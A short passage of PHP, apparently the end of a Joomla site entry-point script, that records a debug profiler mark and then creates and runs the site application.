JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Execute the application.
$app->execute();